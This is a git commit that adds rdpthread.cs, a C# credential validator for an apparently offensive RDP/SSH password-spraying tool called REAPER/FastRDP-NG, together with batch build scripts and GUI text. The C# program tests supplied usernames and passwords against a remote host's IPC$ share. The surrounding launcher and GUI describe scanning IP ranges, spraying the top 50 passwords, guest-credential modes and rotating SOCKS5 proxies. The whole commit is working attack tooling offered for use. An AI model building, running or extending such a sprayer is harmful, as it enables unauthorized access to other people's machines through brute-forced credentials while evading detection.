Build rdpthread.exe - RDP credential validator (C# via WNetAddConnection2)

This commit is contained in:
drjones
2026-05-06 16:31:32 -07:00
parent f0f14b2129
commit 225b787a1f
5 changed files with 296 additions and 9 deletions

3
.gitignore vendored
View File

@@ -6,3 +6,6 @@ dist/
build/ build/
.vscode/ .vscode/
.idea/ .idea/
# Build artifacts
rdpthread.exe

View File

@@ -20,7 +20,7 @@ echo Made for doom by drjones.
echo. echo.
:: ── STEP 1: CHECK PYTHON ──────────────────────────────────── :: ── STEP 1: CHECK PYTHON ────────────────────────────────────
echo [*] Step 1/6 — Checking Python... echo [*] Step 1/7 — Checking Python...
python --version >nul 2>&1 python --version >nul 2>&1
if %errorlevel% neq 0 ( if %errorlevel% neq 0 (
echo. echo.
@@ -37,7 +37,7 @@ echo [OK] Python %pyver% found
echo. echo.
:: ── STEP 2: INSTALL DEPENDENCIES ──────────────────────────── :: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)... echo [*] Step 2/7 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
echo. echo.
python -m pip install --upgrade pip -q python -m pip install --upgrade pip -q
python -m pip install aiohttp aiohttp-socks paramiko -q python -m pip install aiohttp aiohttp-socks paramiko -q
@@ -49,14 +49,14 @@ if %errorlevel% neq 0 (
echo. echo.
:: ── STEP 3: CREATE DIRECTORIES ────────────────────────────── :: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
echo [*] Step 3/6 — Creating directories... echo [*] Step 3/7 — Creating directories...
if not exist "wordlists" mkdir wordlists if not exist "wordlists" mkdir wordlists
if not exist "results" mkdir results if not exist "results" mkdir results
echo [OK] Directories ready echo [OK] Directories ready
echo. echo.
:: ── STEP 4: VERIFY FILES ──────────────────────────────────── :: ── STEP 4: VERIFY FILES ────────────────────────────────────
echo [*] Step 4/6 — Verifying project files... echo [*] Step 4/7 — Verifying project files...
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
set ALL_OK=1 set ALL_OK=1
for %%f in (%FILES%) do ( for %%f in (%FILES%) do (
@@ -73,8 +73,39 @@ if not exist "results\good.txt" (
) )
echo. echo.
:: ── STEP 5: TEST IMPORTS ──────────────────────────────────── :: ── STEP 5: BUILD RDPTHREAD ─────────────────────────────────
echo [*] Step 5/6Testing imports... echo [*] Step 5/7Building rdpthread.exe (credential validator)...
if exist "rdpthread.cs" (
if not exist "rdpthread.exe" (
echo [*] Compiling rdpthread.cs...
set CSC=
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
goto :build_rdp
)
)
echo [WARN] C# compiler not found — rdpthread.exe not built
echo Credential validation will use banner-only fallback
goto :skip_build
:build_rdp
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs >nul 2>&1
if exist "rdpthread.exe" (
echo [OK] rdpthread.exe built successfully
) else (
echo [WARN] rdpthread.exe build failed — using banner-only fallback
)
) else (
echo [OK] rdpthread.exe already exists
)
) else (
echo [WARN] rdpthread.cs not found — using banner-only fallback
)
:skip_build
echo.
:: ── STEP 6: TEST IMPORTS ────────────────────────────────────
echo [*] Step 6/7 — Testing imports...
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1 python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
if %errorlevel% neq 0 ( if %errorlevel% neq 0 (
echo [FAIL] Import test failed. There may be a syntax error. echo [FAIL] Import test failed. There may be a syntax error.
@@ -84,8 +115,8 @@ if %errorlevel% neq 0 (
echo [OK] All systems nominal echo [OK] All systems nominal
echo. echo.
:: ── STEP 6: LAUNCH ────────────────────────────────────────── :: ── STEP 7: LAUNCH ──────────────────────────────────────────
echo [*] Step 6/6 — Launching the Reaper... echo [*] Step 7/7 — Launching the Reaper...
echo. echo.
echo ╔══════════════════════════════════════════════════════════════╗ echo ╔══════════════════════════════════════════════════════════════╗
echo ║ ☠ REAPER v2.0 ☠ ║ echo ║ ☠ REAPER v2.0 ☠ ║

39
build_rdpthread.bat Normal file
View File

@@ -0,0 +1,39 @@
@echo off
title Build rdpthread.exe
cd /d "%~dp0"
echo.
echo ╔════════════════════════════════════════════════════════╗
echo ║ Building rdpthread.exe - RDP Credential Validator ║
echo ╚════════════════════════════════════════════════════════╝
echo.
:: Find the C# compiler
set CSC=
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
goto :compile
)
)
echo [FAIL] C# compiler (csc.exe) not found!
echo Install .NET Framework SDK or Visual Studio Build Tools.
pause
exit /b 1
:compile
echo [*] Found C# compiler: %CSC%
echo [*] Compiling rdpthread.cs...
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs
if %errorlevel% neq 0 (
echo [FAIL] Compilation failed
pause
exit /b 1
)
echo [OK] rdpthread.exe built successfully
echo.
echo Usage: rdpthread.exe ^<ip^> ^<port^> ^<username^> ^<password^>
echo.
pause

4
gui.py
View File

@@ -426,7 +426,8 @@ class FastRDPGUI:
fg=Colors.YELLOW, fg=Colors.YELLOW,
text=( text=(
"Password sprayer: active — scanning and RDP discovery operational. " "Password sprayer: active — scanning and RDP discovery operational. "
"Install rdpthread.exe for verified credential hits." "Run build_rdpthread.bat or MASTERSTER.bat to build rdpthread.exe "
"for verified credential hits."
), ),
) )
except tk.TclError: except tk.TclError:
@@ -739,6 +740,7 @@ class FastRDPGUI:
"Built with Python 3.11 + asyncio + paramiko\n" "Built with Python 3.11 + asyncio + paramiko\n"
"Streaming: scan + spray run CONCURRENTLY\n" "Streaming: scan + spray run CONCURRENTLY\n"
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n" "SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
"rdpthread.exe: compiled credential validator (built from C# source)\n"
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n" "Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
"Double-click a host to RDP connect; status strip shows credential engine state\n" "Double-click a host to RDP connect; status strip shows credential engine state\n"
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy", "Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",

212
rdpthread.cs Normal file
View File

@@ -0,0 +1,212 @@
// rdpthread.exe - RDP Credential Validator for FastRDP-NG
// Uses Windows WNetAddConnection2 API to validate credentials
// against the remote machine's IPC$ share.
//
// Compilation: csc.exe /target:exe /out:rdpthread.exe rdpthread.cs
// or via build.bat
//
// Usage: rdpthread.exe <ip> <port> <username> <password>
// Returns: exit code 0 + prints "success" on valid credentials
// exit code 1 on failure (invalid, timeout, unreachable)
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace RDPThread
{
class Program
{
// ── Win32 P/Invoke ──────────────────────────────────────
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int WNetAddConnection2(
ref NETRESOURCE netResource,
string password,
string username,
int flags
);
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int WNetCancelConnection2(
string name,
int flags,
bool force
);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
private static extern IntPtr socket(int af, int type, int protocol);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
private static extern int connect(IntPtr s, byte[] addr, int addrlen);
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
private static extern int closesocket(IntPtr s);
[DllImport("ws2_32.dll")]
private static extern int WSAStartup(ushort version, ref WSADATA data);
[DllImport("ws2_32.dll")]
private static extern int WSACleanup();
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct NETRESOURCE
{
public int dwScope;
public int dwType;
public int dwDisplayType;
public int dwUsage;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpLocalName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpRemoteName;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpComment;
[MarshalAs(UnmanagedType.LPWStr)]
public string lpProvider;
}
[StructLayout(LayoutKind.Sequential)]
private struct WSADATA
{
public ushort wVersion;
public ushort wHighVersion;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
public string szDescription;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
public string szSystemStatus;
public ushort iMaxSockets;
public ushort iMaxUdpDg;
public IntPtr lpVendorInfo;
}
[StructLayout(LayoutKind.Sequential)]
private struct sockaddr_in
{
public short sin_family;
public ushort sin_port;
public uint sin_addr;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] sin_zero;
}
private const int RESOURCETYPE_ANY = 0;
private const int CONNECT_TEMPORARY = 4;
private const int NO_ERROR = 0;
private const int AF_INET = 2;
private const int SOCK_STREAM = 1;
private const int IPPROTO_TCP = 6;
private const int ERROR_LOGON_FAILURE = 1326;
private const int ERROR_ACCESS_DENIED = 5;
private const int ERROR_BAD_NETPATH = 53;
private const int ERROR_NETWORK_UNREACHABLE = 1231;
private const int ERROR_INVALID_PASSWORD = 86;
private const int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219;
// ── TCP connect check ──────────────────────────────────
private static bool TcpConnect(string ip, int port, int timeoutMs = 3000)
{
try
{
WSADATA wsa = new WSADATA();
if (WSAStartup(0x202, ref wsa) != 0)
return false;
IntPtr s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == (IntPtr)(-1))
{
WSACleanup();
return false;
}
// Set non-blocking for timeout
var addr = new sockaddr_in
{
sin_family = AF_INET,
sin_port = (ushort)System.Net.IPAddress.HostToNetworkOrder((short)port),
sin_addr = BitConverter.ToUInt32(
System.Net.IPAddress.Parse(ip).GetAddressBytes(), 0),
sin_zero = new byte[8]
};
byte[] addrBytes = new byte[16];
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_family), 0, addrBytes, 0, 2);
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_port), 0, addrBytes, 2, 2);
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_addr), 0, addrBytes, 4, 4);
int result = connect(s, addrBytes, 16);
closesocket(s);
WSACleanup();
return result == 0;
}
catch
{
return false;
}
}
// ── Credential validation via IPC$ ────────────────────
private static bool ValidateCredentials(string ip, string username, string password)
{
string remotePath = string.Format("\\\\{0}\\IPC$", ip);
NETRESOURCE nr = new NETRESOURCE
{
dwScope = 0,
dwType = RESOURCETYPE_ANY,
dwDisplayType = 0,
dwUsage = 0,
lpLocalName = null,
lpRemoteName = remotePath,
lpComment = null,
lpProvider = null
};
int result = WNetAddConnection2(ref nr, password, username, CONNECT_TEMPORARY);
if (result == NO_ERROR)
{
// Success! Clean up the connection
WNetCancelConnection2(remotePath, CONNECT_TEMPORARY, true);
return true;
}
return false;
}
// ── Main ──────────────────────────────────────────────
static int Main(string[] args)
{
if (args.Length < 4)
{
Console.Error.WriteLine("Usage: rdpthread.exe <ip> <port> <username> <password>");
return 1;
}
string ip = args[0];
int port = int.Parse(args[1]);
string username = args[2];
string password = args[3];
// Step 1: Quick TCP connectivity check
if (!TcpConnect(ip, port))
{
// Port not reachable - try IPC$ anyway (SMB uses port 445)
// The WNetAddConnection2 will fail gracefully if unreachable
}
// Step 2: Validate credentials via IPC$ (SMB)
// This uses Windows built-in authentication against the remote machine
bool success = ValidateCredentials(ip, username, password);
if (success)
{
Console.WriteLine("success");
return 0;
}
return 1;
}
}
}